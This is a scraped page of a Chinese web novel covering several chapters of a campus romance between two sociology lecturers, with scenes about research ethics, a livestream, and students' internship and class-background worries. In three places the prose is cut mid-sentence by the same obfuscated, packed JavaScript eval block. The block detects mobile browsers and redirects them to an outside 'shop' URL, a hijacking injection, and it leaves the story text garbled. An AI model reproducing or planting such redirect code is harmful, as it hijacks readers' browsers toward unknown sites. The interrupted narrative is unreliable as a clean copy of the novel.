贺鸣云看到评论,说:“在批卷的过程中,我看到了很多不同的答案。有同学计划暂时撤稿,替换访谈案例后再进行发表。有同学很有创意地提出用‘心声展示’的方式呈现研究成果,让更多大学生匿名讲述自己提前消费的故事,让受访者隐匿在大众之中,也让他知道自己不是极少数案例。这些答案我都给了高分。” “为什么?因为这些同学都认识到了,社会调查的核心精神,不是获取论文所需要的数据,而是和被调查对象建立互相信任和尊重的关系。” “从你介入他人生活的那一刻起,就有义务确保你的研究不伤害他人。这要求你们在研究设计阶段就要有同理心想象,不仅要想象你需要获得什么信息、完成什么样的论文,更要想象你的研究将如何影响他人的生活。” “我希望你们明白,你们接受过专业的训练,掌握了专业的方法论,在进行社会学调查研究时,你处于强势地位。但这种强势是危险的,一个只会探索真相、而对研究对象缺乏责任感的研究者,是极其不专业的。这是关于《社会学调查与研究方法》这门课,我希望你们掌握的最重要的知识。” 江无远在手机屏幕背后笑了。 就是这样,就是要这样对研究侃侃而谈,对不专业的人狠狠抨击,才像贺鸣云嘛。 “下面我来讲第二道题。” 四、论述题(每题15分) (二)传统民族志强调深描与在场,而今天许多人类行为以数字信息(社交媒体发文、购物记录、定位等数据)的形式留存。请论述: 1、通过研究研究对象在社交媒体上发布的内容,分析其价值观、社会关系与情感状态,这种方法在多大程度上可以替代或补充传统的线下观察与访谈? 2、基于数字痕迹的研究,可能面临哪些独特的效度威胁? 3、研究者应该如何批判性地使用数字信息,以得出尽可能真实、全面的结论? 贺鸣云讲解了参考答案后,又说:“同学们觉得这道题难,是因为我们用的教材比较老,教材上的案例大多都是传统的线下深度访谈和近距离观察。但在数字时代,民族志的研究范式已经延伸到了网络虚拟空间,我们不能回避对数字信息的研究。” “出这道题是希望同学们看到,世界日新月异,方法论不断更迭,要做好社会研究,需要时刻对资料和数据本身保持质疑。” 贺鸣云想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093570|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到刚刚的评论,说:“我们几个老师轮流命题,完成命题后都会讨论参考答案和给分标准。如果有同学对分数有疑问,可以在教务系统后台申请查分,也可以给我发邮件。我上学期已经向学院和教务处提交了申请,下学期开始会试行统一批卷,尽量保证评分标准一致、给分公平。” “另外,这两道题不是在刁难同学们,而是希望你们思考社会学研究是为了什么、要怎么做。社会学不是一门让你生活得更轻松的学问,恰恰相反,它可能会让你活得更沉重、更小心翼翼。但这份沉重,源于你开始尝试理解社会、理解人的复杂性。这正是这门学科能给予你们的最宝贵的东西:思想和精神上的自我超越。” 直播间一片寂静,评论区也迟迟没有刷新。 贺鸣云从讲课的心流状态抽离,顿时变得非常尴尬。他开始一句话都说不出来,不知怎么的,一讲起来就停不下来了。 “抱歉,我说多了,耽误大家时间了。” 在聊到他的专业的时候,贺鸣云从来不会慌张。 江无远早就注意到,贺鸣云的课并不是从一而终的无聊,他的课也会有让她眼前一亮的部分,那就是当他聊起他关注的研究的时候。不管是他最近在看的论文,还是他最近在做的课题,说起这些他喜欢的东西时,贺鸣云的语速会加快,表达会奇迹般变得生动,有时候耳朵还会变红。 仿佛进入无人之境。 没有人真的能完全避世,人不是孤岛,当然需要社交,需要展示自我,需要他人的尊重和认可。 再内向的人,内心也会藏着隐秘的激情。如果能找到属于他的舞台,他也能在站在上面侃侃而谈、闪闪发光。 贺鸣云可能自己都没意识到,他并非只是擅长学术,并非只是机械地进行着工作,他其实对自己在做的事情充满热情。哪里有那么多天才?所谓天才,不过是持续地在一件事上雕琢。学生不是铁石心肠,不是真的好吃懒做,他们也会被老师的热情唤醒。 manhater在评论区起头:“贺教授,你讲得真好!你没说多,你刚刚讲这些的时候,个人魅力拉满!” 贺鸣云看到“个人魅力”四个字,突然明白了什么。 评论区风向一变,学生开始给贺鸣云点赞、送花,还有学生开始问贺鸣云新的问题: “有什么关于虚拟民族志的研究吗?这个好有意思。” “贺教授,推荐几篇最新的论文,让我们暑假看看吧。” 多稀奇啊,他不是在做梦吧?贺鸣云都懵了,缓了两秒才问:“你们想读哪方面的?” 评论积极响应,论文主题五花八门。 这完全难不倒贺鸣云,他就是座行走的论文库,阅文无数,记忆力超群。 “好的,相关论文我今天整理好后,会发在学院的公共网盘里,方便大家下载阅读。” manhater:“贺教授,也不用急着今天啦,你慢慢理嘛。” 学生们在评论区纷纷附和。 贺鸣云严肃答复:“要尽快的,你们都是三分钟热度,明天就不好学了。” 他说的是肺腑之言,还颇有些觉得学生不争气,没想到评论区里学生笑成了一团。 一条评论说:“贺教授,要是以后您上课也能像直播这么有趣就好了。” 贺鸣云摸了摸鼻子,不好意思地说:“知道了,我会努力的。” 江无远看着电脑屏幕里的贺鸣云,在油腻男张智学的衬托下,催眠杀手也显得出水芙蓉、亭亭玉立。 他一直没有看镜头,而是专心地盯着某处。 江无远知道,他是在试图看清楚每一条评论。贺鸣云就是这样,做什么都很专注,一双大眼睛总是盯着你,认真得你都不忍心拒绝他。 就算被他的认真伤害了,你也情不自禁,要给他的低情商找借口,相信他是纯粹的对事不对人。 直播即将结束,李教授和张智学向参加直播的同学礼貌道谢。 贺鸣云也跟着说:“谢谢同学们。” 过了一秒,他看向镜头,低声说:“谢谢……谢谢你。” 江无远看到贺鸣云耳朵微微泛红。她知道,这句“谢谢”,是说给她的。 21. 移植工作 直播结束,贺鸣云接到钟若晚打来的电话。 真难得,钟若晚讨厌给男的打电话。 “喂,导儿,恭喜你从直播中幸存。” 贺鸣云千言万语化作一个字:“嗯。” 钟若晚对他平淡的反应极为不满:“‘嗯’?‘嗯’!?就‘嗯’一声?你没发现本人在评论区为你以一敌百,舌战群儒,逆转舆论风向,为你保驾护航吗?” “看到了,谢谢。” “不谢,其实不是我评论的,是江老师,她借了我的账号上线帮你。” 贺鸣云还是波澜不惊:“嗯,我知道。” 钟若晚的声音陡然提高一个八度:“你知道?你知道你还恶语伤人心?你知道你还不赶紧上门道谢?电视剧里你这种第二集就会被分手。老登拿乔,下贱。” ***** 贺鸣云回到办公室,整理直播时学生说想看的论文。 办公桌上很干净。 没有面包渣,没有咖啡渍,也没有千奇百怪的网红店蛋糕。 屋子里也很安静。 没有人会拉长尾音,用调侃的声音喊他“贺~大~教~授~~”。也没有人前一秒还在说他无聊、催眠,下一秒又说他其实有点魅力,让他摸不着头脑。 龟背竹有点蔫,又忘了按时浇水。 之前江老师每次过来都会帮他浇,还会念叨他要关爱小生命、植物命也matters。 自从和江老师不欢而散后,办公室就好像少了点什么。 他觉得有点饿,也有点孤单。 就连找论文这么有意思的事,也让他觉得索然无味。 贺鸣云焦虑地上下滑动鼠标滚轮。 他明明没有做错,为什么会觉得抱歉? 他明明没有乱讲,为什么会坐立不安? 他们不应该把时间浪费在做个案访谈上,江老师也不该一直把精力放在关心个体上。她很聪明很犀利,却不知道为什么浪费了两三年的时间,没做出什么像样的学术成果。 他知道她的课讲得好,学生都喜欢她,可这些不足以让她保住饭碗。江老师应该抓紧时间补齐短板,多花心思去做宏观分析,甚至应该故意迎合学术界喜欢的议题,先在学术界站稳脚跟。 哪个青年教师不是这么过来的?经过几次训练,在学术界小有名气和人脉后,她就能独立做课题、发论文了。到那时候,她就可以不顾忌同事的误解,不在乎考核的标准,去做自己喜欢的课题了。 贺鸣云为她着急,也很不解。 就好像她被砍了两刀,却只顾着处理浅一点的伤口。他出于专业和好意,才提醒她应该先关注更严重、更要紧的伤口。 可是为什么她一点都不领情?不领情就算了,还血淋淋的湿漉漉的可怜巴巴的,看得他也挺心疼、挺难受的。 他不理解,为什么她会生气? 他更不理解,为什么她的反应,会动摇他对自己绝对正确的信心? ***** 贺鸣云离开办公室,一边走一边沉思。 不知不觉,走到了他们之前讨论论文和课件时,经常去的那家咖啡厅。 江无远对这家咖啡厅情有独钟,尤其喜欢一楼小院的露天座位,还跟他开玩笑说过,“万一遭遇校园枪击案,这里从小门就能逃跑,非常安全。” 鬼使神差地,他走了进去。 奇迹般的,他刚刚在想的人,正坐在小院的咖啡桌边,被几个学生围绕着,脸上带着他熟悉的、开心的、轻松的笑。 他不敢打扰她,却情不自禁,找了个靠近她的位子,悄悄坐下。 一个学生正手舞足蹈控诉:“老师,不公平!本来应该是我保研的,结果我们学院有两个同学靠演讲比赛加分,总分超过我了。其他比赛我都认了,这种糊弄人的比赛怎么能加分啊?气死我了!” 贺鸣云没听进去她的答复。午后的阳光照得他有些昏沉,在暧昧的婆娑树影下,他偷偷望着江老师,大脑罕见的迟钝。什么也不想思考,只想呆在这里。 江无远穿了件浅灰色的无袖针织背心,搭一条牛仔长裤,头发松松地挽成个丸子,脚上踩着双凉拖鞋,看起来比上课时放松、质朴很多。 贺鸣云印象里的她,总是眉飞色舞、滔滔不绝,总是穿着高跟鞋和职业装,哪怕上次在她家里吃饭,她也提着菜刀手起刀落,时时处在战斗状态。 现在她不再是主讲人,而是一个倾听者,身体微微前倾,专注地望着说话的学生,时而微笑,时而皱眉。 他很少看到她这么柔和、耐心、安静的一面。 “老师,我做‘社交媒体自我呈现’的作业,发现我在不同的平台上、不同的人面前,在扮演完全不同的人。在实习老板面前我是靠谱晚辈,在朋友面前我是搞笑女,在家人面前我是乖乖女,在小红书上我是青春女大。我是不是太假了?” 江无远笑笑:“这怎么假了?我拍视频时都是精英模样,平时在家里,其实脸都懒得洗的。” 真的吗?贺鸣云皱了皱眉,衣服也不按时洗,脸也不洗,江老师太让人操心了,她需要个贤夫在家里料理家务。 “这不是假,这是社会化程度高的表现。戈夫曼的拟剧论还记得吗?人生本来就是舞台,我们在不同的前台扮演不同的角色,都是为了达到社交目的。” 学生说:“但是有时候我会觉得很屈辱,很窝囊,虽然是我在主动扮演这个人设,但我其实不想这么做。” 江无远点点头:“我们在不同的人面前、在不同的环境里,会呈现出不同的面貌。在舒适的环境里,你做事会有激情、有信心,但在紧绷的环境里,你就会畏手畏脚、提不起劲,甚至自我攻击。” “天啊,我现在这份实习就是,我恨死领导和同事了!一想到要去上班我就想死。” 江无远安抚道:“现在你该关心的不是自己假不假,而是关心在不同的人设背后,那个觉得累了的真正的你。真实的你是不是需要休息一段时间?还是需要更多展现真我的时间?可以试试每天花半个小时,在日记只写你想写的真心话。在日记里,你不用扮演任何社会角色,只需要看见你的自我。” 另外一个男生插嘴:“老师,我也在实习,明年毕业就准备工作了。我都不好意思说,其实我特别害怕工作。一上班我就觉得自己缩成了一团,特别憋屈,特别傻。” 江无远狠狠点头:“我懂你,上班真的很恶心!” 贺鸣云听她完全是真情流露,不禁微微一笑。 “你就像一棵小树,刚被移植到职场,为了适应新的环境,不得不收拢根系,甚至可能需要修剪根部,这个过程当然会很不舒服。这不是你的问题,是每个学生开始工作后几乎都会遇到的情况。” 男生扁扁嘴:“但我的适应性好像特别差,我看别人也没我这么不舒服。” “我知道了,其实你是一株龟背竹!你是热带植物,但是现在这个公司的环境很寒冷,不适宜你生存,所以你就蔫了。我晚点给你推荐两个好一点的实习岗位,把你移植回热带。” “老师,我爱你!” “老师,我也爱你!我也想要新的实习岗位!” “还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093571|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有我!” “好好好,一个一个来,见者有份,”江无远温柔地说,“但是你们也要知道,世界上没有完美的工作环境,任何地方都有规则和压力。所以更重要的是,当情况不好、需要‘缩起来’保护自己的时候,要相信这只是生存策略,而不是你的本质,不要苛责自己;当情况转好时,抓住机会,展现和培养真实的你。” 贺鸣云心里一动,他也研究过“自我认同”,当时他一如既往,用了最正统的研究方法,用量表测量、分析认同稳定性。 然而江无远却在简单的聊天中,引导学生在生活和工作中自洽。她的方法一点都不学术,一点都不严谨,却直指问题的核心:如何在复杂的社会规范中,守护个体的内在统一性。 他写过好几篇关于“自我认同”的论文,引用量都是好几千。可是学生们看过吗? 他的研究成果,真的托举、帮助了这些迷茫的年轻人吗? 他作为社会学教授,研究的是“社会学”,还是“社会里的人”? 研究结构如何压抑个体,当然很重要。但个体身处结构之中,是不是也需要更具体的、更落地的生存策略指导? “您的加浓冰美式,请慢用。” 贺鸣云回过神来,咕咚咕咚灌下半杯咖啡。 他急需清醒一下。 在他的计划里,涉及上课的部分,确实该由江老师主导,他会听从她的建议;但涉及学术研究的部分,应该由他主导,江老师应该听他的。 本来应该是这样的,这样才是对的。 但现在一切都偏离了计划。 他引以为豪的控场能力(包括自控力)和专业手段,甚至是他堪比珠穆朗玛峰的自信心,正在离他远去。 明明他才是对的,可一靠近江老师,他就会迷迷瞪瞪,像被下了迷药,开始琢磨“或许她说的也有点道理”“我是不是做得还不够好”。 像一颗小行星,被太阳的轨道捕捉,被她哄得团团转。 为什么? “其实找工作和找伴侣是一样的,不同的人会引出你不同的面貌。遇到一个错的人,你也会不舒服、不舒展,可能时时处在应激状态。” 坐在中间的女生说:“老师,你这么说,我感觉我和我前男友在一起就是应激状态诶。” 江无远笑了:“终于是前男友啦?小的们,给童娜女士掌声鼓励!” 大家热烈鼓掌,把聚精会神在反省的贺鸣云吓了一跳。 “我们读书的时候可流行一句话了:Iloveyounotbecauseofwhoyouare,butbecauseofwhoIamwhenIamwithyou.就是这个意思嘛。”(注1) 有女生开玩笑:“江老师,我们跟你在一起最舒服,最聪明,最有灵感和活力,我们申请入赘你家!” “没问题,一人给我一百八十八万赘礼。” 学生们笑作一团。 女生又问:“江老师,你喜欢什么类型的啊?” “又高又帅又聪明的。” “好笼统啊。” “没意思。” “举个例子嘛,比如我们学校里的哪个老师?” 贺鸣云紧张地竖起耳朵听,大气不敢出。 江无远还在思考,一个学生说:“社会学院的张智学教授怎么样?又高又帅,家里还有钱。” 谁?什么?凭什么? 贺鸣云气得想吐血,咕咚咕咚,把剩下半杯咖啡喝完了。 注1:Love-SirThomasBrowne 22. 昨日世界 江无远露出一个嫌弃的表情:“张智学还是算了,太外向了,不是我的菜。我喜欢内向一点的,还要有爱心,喜欢小动物。” 贺鸣云松了口气,破例点了杯草莓拿铁庆祝。 他最近在戒糖,因为江老师之前威胁他,录网课要保持良好的形象,不能长痘痘,更不能发胖。 他的理智拷问道:“你庆祝什么?人家江老师喜欢谁,关你什么事?” 他的情感支支吾吾狡辩:“庆祝……庆祝我的事业伙伴不眼瞎。我只是担心江老师被渣男骗,影响我们以后的合作。没错,就是这样。” 他的理智冷笑一声,懒得再问。 贺鸣云又开始思考,就是小动物这个事情比较棘手,他倒不讨厌小猫小狗,就是不喜欢它们掉毛。 他拿起手机开始搜索:什么狗不掉毛? ***** 江无远见杜筠若有所思、愁眉不展,主动问她:“小筠,你刚刚说实习不开心,是遇到什么事了吗?” 杜筠就等着她问呢。 “超气人的老师!带教让我做一个自媒体策划案,我加班搞了一个月,结果上周带教自己去汇报了,说是他做的,根本没带上我。回头还让我帮忙根据老板的意见再完善一稿。我都想在大群里撕他了,但是又怕会影响留用。” 江无远在心里翻了个白眼,这一行还跟她大学实习的时候一样,阴阳和八卦乱传,甩锅与摘桃齐飞,一点没变。 “证据都留存好了吗?讨论工作的聊天记录,中间的过程稿,之类的?” “嗯嗯,我都做好撕他的PPT了,时间线也理好了,证据俱全。” 江无远点点头:“好,现在还没到鱼死网破的时候,在公司里你是新人,也不知道带教的人脉关系,不用急着发到大群。你们部门的老大会听实习生工作汇报吗?” “会的,每个月一次。老大人还行,比较有能力。” “下次给部门老大汇报的时候,假装不知道带教已经向他汇报过了,把你的思路和工作从头汇报一遍,强调你的独立创作人的身份。” 杜筠问:“能行吗?我能汇报得比带教还好吗?” “当然,这本来就是你的创作,”江无远提醒她,“部门主管都是老油条,你一汇报,他心里门儿清。” “好,”杜筠想了想,又问,“我留用后大概率也是在这个部门,以后我该怎么面对带教呢?” “不用对他有什么情绪,正常对接工作就行,”江无远做了个鬼脸,“我们这些油腻的大人就是这样的,心里问候对方祖宗十八代,面上还是正常合作。当然,底线是要让自己的贡献被看见,要让自己的劳动得到尊重。这不仅是保护自己,也是维护健康的职场环境。” 杜筠双手合十:“老师,你真好,我还以为你会跟我爸妈一样,劝我忍气吞声。” “怎么可能,别看老师知性优雅,斯文温柔,私底下可是拳打同行、脚踢黑粉!” “老师,我一定努力工作,争取早日挣到一百八十八万入赘!” 之前一直沉默的、坐在最边上的一个女生也开口了:“老师,我最近也在实习,同事人都还不错,但我就是融入不进去。” 江无远记得她。这个女孩学习不错,性格比较内向。 “你才刚实习一个月,和同事关系一般很正常。其实和同事保持点距离、不要交浅言深是好事,人际关系很复杂,以后难免有利益纠葛。” 女生摇摇头:“老师,你这么受欢迎,你不懂那种感觉,中午吃饭没人叫你一起,分享小零食跳过你,点奶茶也不叫上你一起,很尴尬的。” 江无远坦然道:“我和同事关系也都一般啊,我平时要么跟你们一起吃食堂,要么自己吃,我也没有饭搭子。” 真的吗!?贺鸣云大吃一惊,他想象中的江无远应该是左拥右抱,每天跟翻牌一样,随机挑选有幸和她共进午餐的人的。 提问的女生也很惊讶:“真的吗老师,为什么呀?你跟其他老师关系应该很好吧?” 江无远无奈地笑笑。孩子就是孩子,还不懂职场的门道。 “你们看啊,现在大学都是‘非升即走’,三五年内,做不出成果就得走人,那同事就成了你的竞争对手,你们要争抢资源和机会。就算没有直接的利益之争,大家也都忙于自己的工作,没有那么多闲情逸致去交朋友。在这种养蛊内卷的环境下,同事很难处成朋友。” 男生说:“老师,他们是不是嫉妒你是网红啊?” “对啊,老师你靠自媒体收入就能吊打其他老师,所以他们心里才不舒服吧?” 学生说话怎么没轻没重的?贺鸣云听得心惊肉跳。 他当然也略有耳闻,有些老教授对江无远走网红之路公然表示过不满,不少年轻老师也在暗搓搓地阴阳怪气。但偷听是一回事,当面探讨又是另外一回事了。 他清楚,这不是收入这么简单的问题。新管理主义渗透进象牙塔,大学企业化,考核的量化指标成了核心管理工具。老师在绩效压力下,争夺职称名额、科研经费、博士生指标这些稀缺资源,同事关系早就从潜在的协作,变成了零和博弈的竞争。 用布迪厄的理论来分析,大学就是一个争夺学术资本的场域。“非升即走”制度强化了文化资本和制度资本的交换逻辑,一切行动都为了积累资本。情感链接、志趣相投、高山流水遇知音……早已成为象牙塔里过时的神话。 在这场权力游戏中,江老师是一个异类。 她身份成谜,能力不详。在这套制度下,自媒体资源和影响力,没有明码标价。虽说怀璧其罪,可其他人无法断定,她独特的能力是美玉还是烂石,所以他们关注她、忌惮她,同时也看轻她,等着看她笑话。 贺鸣云的心旌微微动摇。 他当然可以冠冕堂皇地说,他是出于互补的利益需求,才和江无远合作。他一向追求效率和卓越,对时间精力分配得稳准狠,所以在残酷的竞争中,他总是能赢。 但为什么他会分心?为什么他会忍不住关心合作者的情绪? 为什么他会坐在这里,不体面地偷听? ***** 江无远还是很淡定,她很耐心地解释:“接着我们刚刚说的‘非升即走’,青年教师都在走这条狭窄的晋升之路,必须拼命发论文、做课题,才能避免被淘汰。但这时,他们看到有一个异类,没有卷论文和课题,只靠着做自媒体和在校外讲课,就赢得了他们拼命搞学术才挣得的机会,如果是你,你会怎么想?” “可是自媒体也不是人人都能做的,能做到粉丝量这么多,是您的本事呀。” “对啊,外面的人邀请您讲课,也是因为您讲得好啊,我看他们就是羡慕嫉妒恨。” 贺鸣云不禁点点头,完全忘了他也属于卷论文的“他们”之列,并且在二十章之前,还对江老师的网红身份不屑一顾。 江无远苦笑:“如果是你,兢兢业业写论文做课题,却没什么发表,可能被辞退。但你的同事好像讲讲课、发发视频,就轻轻松松续约,还赚了不少外快,你会不会有点不舒服?” 学生们一致表示:“不会!” “……行吧,来,奖励你们吃蛋糕,”江无远把刚上的蛋糕切好,递给学生们,“那你们快点成长,以后来做我的饭搭子。” 一个学生露出八卦的笑容:“对了老师,说到卷论文,我们听说,您最近和隔壁的贺老师走得挺近啊?” 贺鸣云被草莓拿铁呛到, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093572|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剧烈地咳嗽起来。 还好江无远听力不好,没发现他藏在暗处。 贺鸣云只惊动了两个学生,她俩看了他一眼,也没认出这位光明正大偷听她们聊天的,就是她们刚刚聊到的“隔壁的贺老师”。 贺鸣云暗自庆幸,幸好他平时深居简出,很少抛头露面,这就是讲男德的福报。 江无远倒是很平静,丝毫没有被八卦到的娇羞,淡定回答:“是的,我最近在和贺教授合作,一起写论文、做课题。本人决定新学期新气象,网红也要当,学者也要做,脚踏两只船,你们觉得怎么样?” “太娘们儿了!” “女神加油!” 刚和渣男分手的童娜说:“老师,我也想像你这么潇洒,我觉得我可窝囊了。” 童娜看男人眼光一般,但本人聪明漂亮,学习很好,已经保研了。 江无远奇了怪了,问:“你怎么窝囊了?” 其他学生纷纷附议: “对啊,绩点3.95的可怕女人,你窝囊啥了?” “保研的还窝囊,那我考研失败的算什么?” “除了恋爱谈得窝囊,其他怎么窝囊了?” 童娜摆摆手:“哎呀,你们不知道,我只在你们面前自在,只擅长考试。我实习的时候笨手笨脚的。其他实习生就很会来事,跟mentor处得像兄弟,汇报工作都很随性,但我就特别紧绷。” 江无远记得童娜拿过贫困生一等奖学金,听到这里,已经明白了个大概。 她试探着问:“其他实习生是不是都是本地人,家境比较好?” “是的,老师,那我就直说了,其实我也觉得不是我本人的原因,我没有觉得工作内容很难,也并不觉得别人比我聪明。想来想去,大概还是因为原生家庭。我家很穷,我是我们村第一个大学生,你们没想到吧?现在居然还有教育水平这么落后的地方。” 童娜低着头,一边说,一边无意识地抠手指缓解压力。 “我总是很紧绷,很不自在。其他实习生可以自信地汇报工作,很自然地给老板带咖啡、请大家吃饭,甚至开车捎同事一程,我就不行。我总是很严肃很紧张,上司说我工作努力,成果也不错,但我太较真、太老成了,不能和同事打成一片。” 她说得语无伦次,但江无远听懂了,在三年的教学里,她见过不少这样的孩子。 小镇做题家一路苦读,终于厮杀到职场,这时候他却发现,原来职场并不只是埋头做事,还有许多人情世故和潜规则。成长环境限制了小镇做题家在这方面的经验,而这些又不能靠做题习得,这让他无所适从。 江无远想了想,说:“2007年还是2008年那阵子,我还在上初中,你们才刚上小学吧。那年流行过一篇文章,叫《我奋斗了十八年,才和你坐在一起喝咖啡》。作者是农村家庭出身,一路勤学苦干,终于在上海立足。从题目就能猜出来,作者写的是什么吧?” 贺鸣云坐直了。 那年他刚上大学,在图书馆的《读者文摘》上读到了这篇文章。他记得作者怎样详细地描写务农家庭的年收入,怎样窘迫地提到他上了大学才发现自己英语口语很差、不懂流行文化、没有任何特长—— 就好像,写的是十七岁的贺鸣云。 他一直以为江无远是另一个世界的人。 她打扮时髦,做事随意,讲话风趣,善于社交,还有勇气走一条小众的职业道路。 不像他,不喜欢和人说话,在人群中总是觉得尴尬,只有在埋头做研究时,他才觉得自在,觉得没有浪费时间,能真实地掂量到自己的价值。 他原本以为她没有吃过苦,不懂他这样的人的世界。 但也许,也许…… 23. 骨骼血肉 Two is 江无远的声音很温柔:“当时的社会情绪远比现在乐观,但早在那时,就已经开始流行这样的反思。今天,你们面对的是一个竞争更激烈、道德下限更低、阶层差距更大的时代,当然会更迷茫。” “童童,其他人表现得更松弛,是因为他们已经熟悉公司里的人际交往模式,家庭背景为他们积累了一些资源和人脉,也提供了更多试错成本。他们的拥有,并不是你的匮乏。” “你一路努力到今天,已经证明了你的能力。对自己要有信心,不管在哪里,不要觉得局促,没有那么多人会审判你。你走到哪里,哪里就应该是你的舞台。” “松弛感源于对自身价值的确信,你就是自己的底气。你没发现吗?你在我们面前自在、舒展,不是因为你和我们关系好,而是因为你知道,我们了解你,我们知道你有多聪明、多有魅力。过一段时间,当你更熟悉职场的规则,当同事和上司开始了解你,他们也会了解你的优秀,你也会变得松弛。” 童娜面带怀疑:“真的吗?我也能在公司里谈笑风生?” “当然,”江无远言辞恳切,“我上大学的时候,拿了校长奖学金,被邀请去校长家里吃晚饭。哇,一起去的同学都穿正装,就我傻乎乎地穿着连帽卫衣。然后吃波士顿龙虾,我都不知道怎么剥壳,用嘴硬咬,回去就长了好大一个溃疡。” 学生哈哈大笑,童娜也笑了。 在当时二十岁的小江眼里,这可是件大事,让她在宿舍辗转反侧了好多个夜晚,从自己老土的发型、比啤酒瓶底还厚的眼镜,一路内耗到课堂发言的局促、不知道什么是iPod的尴尬。 而那些少女心事,随着时光流逝,终于也变成了咖啡桌上的八卦谈资。 莎士比亚笔下的角色说,Theworldismyoyster。(注1)对于江无远来说,oyster(牡蛎)可以换成波士顿龙虾: “其实很多事就像吃龙虾,一回生二回熟,吃个一两次,就会剥了,对不对?” 童娜肯定地点点头:“嗯!” ***** 上学期在研讨课上,贺鸣云和研究生一起读了JeffreyPfeffer的《权力:为什么只为某些人所拥有》。 这本书很有名,写得也不错,但贺鸣云并不喜欢。 他也一度觉得诧异,他自己本来就是偏实用主义的性格,为什么会嫌这本书的笔触略显冷酷? 他在学术圈混迹几年,深知圈内人不关心你的真实能力,只会根据你的成果、你的背景来评判你。 严格来说,他本人也在靠卷学术成果进行所谓的“形象管理”,把自己塑造成其他人无可指摘、偏见无法动摇的专业型人才,但他依然—— 讨厌这种权力游戏。 听过江无远的轻言细语,这些天来,笼罩在他心上的阴云终于渐渐散去。 他终于肯承认,他其实害怕江老师否定他的行事风格,害怕她的鲜活衬出他的无趣,更害怕她发现,他们并不适合一起合作,他们是完全不同的人。 所以他才总是想拉住她,让她承认他的办法更好,让她……踏进他的世界。 但现在,已经没有那个必要了。 他想说其实我也是会穿着连帽卫衣去参加晚宴的人,只是为了生存,暂时换上了西装;其实我也是三十岁之后,才分得清餐桌上的香槟杯和红酒杯。 世界上并不缺少冷酷揭露现实、把游戏规则摆在台面上的学者,更不缺少熟读这套规则、在体系里如鱼得水的大人。 可在功利的世界里,在摇摇欲坠的象牙塔中,他也希望,还有一些老派的、天真的人,一些不愿意你死我活的人,一些相信童话的人,以及—— 一个明白他的异样,懂得他的沉默,愿意和他一起往前走的,朋友。 ***** 贺鸣云想得入了神,没管理好自己的视线,一动不动盯着江无远那桌半天,终于引起了学生的警觉。 “老师,背后有个猥琐男在盯着你。” “脖子都伸长成长颈鹿了,偷听我们说话呢。” “他在那里坐好久了,就点了杯咖啡,好可疑。” “好恶心,大男人喝草莓拿铁。” “你眼神这么这么好啊?还有,你这是性别刻板印象。” “我瞧着尚有几分姿色,但为人实在猥琐。” 江无远眯起眼睛一看,又好气又好笑,这不是HMY0320嘛。 “别乱讲,是贺教授,估计找我有事,又不好打扰我们。” 学生才不听她解释,一听是传说中的那位贺教授,立刻开始怪声怪气起哄: “贺~教~授~” “贺教授,这边还有空位,快来一起坐!” “贺教授别害羞了,来嘛。” 贺鸣云见行踪败露,摊牌不装了,走到他们桌边,严肃地说:“不好意思,打扰你们了。” 他顿了顿,飞快地看了江无远一眼,(见她完全没有挽留的意思)语气沉重地说:“再见。” 说完转身就走,徒留学生面面相觑。 “他是不是害羞了?” “怎么这么不经逗的?” “不是,这种情况不应该帮我们把单买了吗?” “老师,你不是喜欢内向的吗?喏,多内向啊。” “完了,宁拆十座庙,不毁一桩婚。” “老师,我们同意这桩婚事,彩礼就要十篇论文一作吧。” 江无远伸手去打他们:“行了,赶紧散了,人家贺教授来跟我说课题的正事。” 等学生都散了,江无远才收拾好包包,走到咖啡屋里屋。 她一点都不急,贺鸣云这招已经不新鲜了,她知道他走路特别慢,一步三回头的,就知道死装。 果然,贺鸣云缩在里屋角落的位子,一杯东西都没点,抱着杯免费的冰水,一副离家出走的样子,窝窝囊囊的,又有点可怜。 江无远站在他三步开外,说:“你来了?” “……我来了,”贺鸣云迟疑片刻,小声嘟囔,“因为……因为你没回我消息,也还没帮我录新的网课。” “叽里咕噜说什么呢?大点儿声。” 贺鸣云盯着自己的皮鞋,音量还是很低。 “我说,你不回我消息,也还没帮我录网课视频。你之前说要帮我重新录的,都这么久了,我们学院都通知明天要统一给老师录网课了……” 他听到江无远笑了。 “贺教授,你能不能把头抬起来?看着我说话。” 他抬起头,江无远笑眯眯的,并没有不高兴的样子。 “贺教授,我要向你道歉。合作有分歧是正常的,我不应该冲你发火,更不应该对你不理不睬、不兑现我之前的承诺。” 贺鸣云说实话,那是相当惊讶:“啊?你先道歉吗?” “不然要怎么样?《他凶完你,你连夜拟好离婚协议离开后,他快碎了》,我们要演这种剧情吗?” 